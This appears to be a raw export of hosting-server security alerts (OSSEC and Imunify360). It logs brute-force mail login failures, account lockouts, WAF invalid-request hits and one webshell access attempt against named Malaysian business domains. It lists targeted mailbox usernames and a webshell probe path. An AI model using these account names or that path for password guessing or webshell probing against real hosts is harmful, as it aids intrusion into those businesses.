abuser: 94.206.93.90
country_id: 290557
description:
2026-02-01 08:43:56 dovecot_login authenticator failed for H=([94.206.93.90]) [94.206.93.90]:45891: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:43:11 dovecot_login authenticator failed for H=(NHgnbmea) [146.70.146.50]:64643: 535 Incorrect authentication data (set_id=sales@col.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 08:44:25 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 146.70.146.50


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.60.211.114
country_id: 6252001
description:
2026-02-01 08:44:10 dovecot_login authenticator failed for H=67-60-211-114.cpe.sparklight.net [67.60.211.114]:46874: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 08:44:43 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:56854: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:44:57 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63673: 535 Incorrect authentication data (set_id=testing@box.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 08:44:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@col.com.my has been temporarily locked by Imunify PAM(146.70.146.50)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 08:44:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@col.com.my has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:44:27 dovecot_login authenticator failed for H=(jw2Humy) [146.70.146.50]:50827: 535 Incorrect authentication data (set_id=sales@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:44:02 dovecot_login authenticator failed for H=(46sZzc8gg) [158.94.208.175]:60668: 535 Incorrect authentication data (set_id=miya)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:44:08 dovecot_login authenticator failed for H=(vJv22J5j) [146.70.146.50]:50150: 535 Incorrect authentication data (set_id=sales@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:45:05 dovecot_login authenticator failed for H=(VpPHF85) [158.94.208.175]:59401: 535 Incorrect authentication data (set_id=sales@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:45:05 dovecot_login authenticator failed for H=(IawmMqWc72) [146.70.146.50]:52232: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 08:45:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 146.70.146.50


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 08:45:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@col.com.my has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:45:03 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:56054: 535 Incorrect authentication data (set_id=testing@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.167.198.31
country_id: 1814991
description:
2026-02-01 08:45:48 dovecot_login authenticator failed for H=([183.167.198.31]) [183.167.198.31]:59926: 535 Incorrect authentication data (set_id=mary.ng)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 08:45:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@col.com.my has been temporarily locked by Imunify PAM(146.70.146.50)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.92.201.254
country_id: 1814991
description:
2026-02-01 08:45:27 dovecot_login authenticator failed for H=([218.92.201.232]) [218.92.201.254]:53800: 535 Incorrect authentication data (set_id=mary.ng@figofoods.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 08:46:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@col.com.my has been temporarily locked by Imunify PAM(146.70.146.50)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:46:27 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:64896: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.234.11.10
country_id: 2017370
description:
2026-02-01 08:46:40 dovecot_login authenticator failed for H=([213.234.11.10]) [213.234.11.10]:40694: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:46:04 dovecot_login authenticator failed for H=(UQY3Uq17) [158.94.208.175]:60388: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.108.233.190
country_id: 1835841
description:
2026-02-01 08:47:02 dovecot_login authenticator failed for H=([106.10.69.50]) [183.108.233.190]:43320: 535 Incorrect authentication data (set_id=paggie@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:46:21 dovecot_login authenticator failed for H=(aHEpmfe) [146.70.146.50]:55049: 535 Incorrect authentication data (set_id=sales@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.191.145.123
country_id: 1814991
description:
2026-02-01 08:46:29 dovecot_login authenticator failed for H=([61.191.145.123]) [61.191.145.123]:59912: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 08:46:54 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:55592: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:47:06 dovecot_login authenticator failed for H=(SKZDAL) [158.94.208.175]:59447: 535 Incorrect authentication data (set_id=sales@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-02-01 08:47:14 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:57372: 535 Incorrect authentication data (set_id=paggie)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 08:47:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@col.com.my has been temporarily locked by Imunify PAM(146.70.146.50)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 08:47:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@col.com.my has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:47:18 dovecot_login authenticator failed for H=(zoiBb1Ve) [146.70.146.50]:56897: 535 Incorrect authentication data (set_id=sales@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:48:04 dovecot_login authenticator failed for H=(ULk99K) [146.70.146.50]:58329: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 08:48:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@col.com.my has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:48:16 dovecot_login authenticator failed for H=(zNMI6WG3) [158.94.208.175]:58291: 535 Incorrect authentication data (set_id=miya)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.12.21.138
country_id: 6252001
description:
2026-02-01 08:48:23 dovecot_plain authenticator failed for H=104-12-21-138.lightspeed.chrlnc.sbcglobal.net (toggis) [104.12.21.138]:36553: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:48:46 dovecot_login authenticator failed for H=(VbihYFD93) [146.70.146.50]:63348: 535 Incorrect authentication data (set_id=cofreth@cofreth.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 08:48:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@col.com.my has been temporarily locked by Imunify PAM(146.70.146.50)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.162.233.219
country_id: 3996063
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=31841514876951 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.255.1.236
country_id: 3469034
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/pipe-repair.html HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:49:09 dovecot_login authenticator failed for H=(imjaRH7z) [146.70.146.50]:55261: 535 Incorrect authentication data (set_id=cofreth@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:49:20 dovecot_login authenticator failed for H=(4ahducmW) [158.94.208.175]:58803: 535 Incorrect authentication data (set_id=miya)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.177.60.232
country_id: 3469034
domain: box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/box.com.my/ HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 08:49:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 146.70.146.50


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.120.176.6
country_id: 1835841
description:
2026-02-01 08:49:07 dovecot_login authenticator failed for H=([222.120.176.6]) [222.120.176.6]:32990: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.244
country_id: 1814991
description:
2026-02-01 08:49:20 dovecot_login authenticator failed for H=([111.61.176.244]) [111.61.176.244]:47644: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-02-01 08:49:03 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:60470: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 08:49:03 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:59070: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.223.41.90
country_id: 1835841
description:
2026-02-01 08:49:26 dovecot_login authenticator failed for H=([211.223.41.90]) [211.223.41.90]:55650: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.177.60.232
country_id: 3469034
domain: box.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/box.com.myhttp/box.com.my/ HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 08:50:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 146.70.146.50


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.160.166.237
country_id: 1820814
description:
2026-02-01 08:50:53 dovecot_login authenticator failed for H=(237-166.adsl.static.espeed.com.bn) [119.160.166.237]:56420: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:50:16 dovecot_login authenticator failed for H=(w4DWFYJ) [146.70.146.50]:62971: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.142.194
country_id: 1269750
description:
2026-02-01 08:50:35 dovecot_login authenticator failed for H=([117.247.239.202]) [122.160.142.194]:54480: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.255.212.178
country_id: 732800
description:
2026-02-01 08:50:38 dovecot_login authenticator failed for H=([185.255.212.178]) [185.255.212.178]:19577: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.23.240
country_id: 1668284
description:
2026-02-01 08:50:44 dovecot_login authenticator failed for H=111-70-23-240.emome-ip.hinet.net [111.70.23.240]:51700: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:50:04 dovecot_login authenticator failed for H=(MHlE3a) [158.94.208.175]:57567: 535 Incorrect authentication data (set_id=sales@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:50:10 dovecot_login authenticator failed for H=(oKbNFyS7AJ) [146.70.146.50]:54210: 535 Incorrect authentication data (set_id=cofreth@cofreth.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.151.9.104
country_id: 3595528
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=1&sub=37 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 08:51:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@col.com.my has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.7.194.220
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=456483 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:51:02 dovecot_login authenticator failed for H=(d6aWFkor) [146.70.146.50]:65095: 535 Incorrect authentication data (set_id=yin-jian.lim@cofreth.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:51:40 dovecot_login authenticator failed for H=(Xv7RD8) [146.70.146.50]:49690: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.129.231.171
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=799623 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.83.152.226
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=762538 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:51:06 dovecot_login authenticator failed for H=(AFtrzSsbh) [158.94.208.175]:55205: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.133.217.14
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/hotel.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 08:51:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@col.com.my has been temporarily locked by Imunify PAM(146.70.146.50)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 08:51:11 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:56174: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.134.226.187
country_id: 1210997
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=1&page_id=2 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 08:51:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 146.70.146.50


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:51:05 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:50487: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.68.173.158
country_id: 3996063
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=465735 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.45.101.159
country_id: 1835841
description:
2026-02-01 08:51:08 dovecot_login authenticator failed for H=([118.45.101.159]) [118.45.101.159]:53484: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 08:52:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 146.70.146.50


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.109.57.218
country_id: 1210997
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=679911 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.46.39.213
country_id: 357994
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=605450 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:52:25 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:61062: 535 Incorrect authentication data (set_id=test@mamstg.manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.200.51.165
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/award-she.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 08:52:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@col.com.my has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.236.130.182
country_id: 1814991
description:
2026-02-01 08:52:45 dovecot_login authenticator failed for H=([183.236.130.182]) [183.236.130.182]:35843: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.179.93.147
country_id: 1835841
description:
2026-02-01 08:52:56 dovecot_login authenticator failed for H=([121.179.93.147]) [121.179.93.147]:45842: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.220.43.95
country_id: 3996063
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=719898 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.100.203.46
country_id: 2589581
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=359598 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.184.128.210
country_id: 1814991
description:
2026-02-01 08:52:45 dovecot_login authenticator failed for H=([221.235.182.76]) [61.184.128.210]:58901: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.211.84.153
country_id: 1814991
description:
2026-02-01 08:52:05 dovecot_login authenticator failed for H=([171.211.123.106]) [171.211.84.153]:57440: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.245.172.214
country_id: 1269750
description:
2026-02-01 08:52:13 dovecot_login authenticator failed for H=([115.245.172.214]) [115.245.172.214]:54036: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:52:15 dovecot_login authenticator failed for H=(RKEIuH9) [158.94.208.175]:62884: 535 Incorrect authentication data (set_id=sales@col.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.24.193
country_id: 99237
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=147075 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.182.166
country_id: 1269750
description:
2026-02-01 08:52:37 dovecot_login authenticator failed for H=(dsl-ncr-dynamic-209.55.23.125.airtelbroadband.in) [182.95.182.166]:39220: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 08:52:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@col.com.my has been temporarily locked by Imunify PAM(146.70.146.50)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:52:07 dovecot_login authenticator failed for H=(WW1Oao6T) [146.70.146.50]:50673: 535 Incorrect authentication data (set_id=sales@col.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/luxury-interior-design-service-malaysia.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 08:53:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 146.70.146.50


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 08:53:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@col.com.my has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 08:53:22 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:56100: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.133.208
country_id: 99237
description:
2026-02-01 08:53:42 dovecot_plain authenticator failed for H=(freque) [65.20.133.208]:51101: 535 Incorrect authentication data (set_id=marina@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.32.102.90
country_id: 1814991
description:
2026-02-01 08:53:47 dovecot_login authenticator failed for H=([117.32.102.90]) [117.32.102.90]:37460: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:53:04 dovecot_login authenticator failed for H=(GWRbAPO1Nx) [158.94.208.175]:58861: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:53:04 dovecot_login authenticator failed for H=(jYpOcMfGM) [146.70.146.50]:52474: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:53:06 dovecot_login authenticator failed for H=(QDw1ikJs6r) [146.70.146.50]:52586: 535 Incorrect authentication data (set_id=sales@figofoods.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.137.158.66
country_id: 1210997
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=299091 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 08:54:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@col.com.my has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:54:02 dovecot_login authenticator failed for H=(BLvZsq1K) [158.94.208.175]:58962: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.14.151.190
country_id: 1210997
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=430640 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:54:31 dovecot_login authenticator failed for H=(C4lw9AorKX) [146.70.146.50]:55521: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


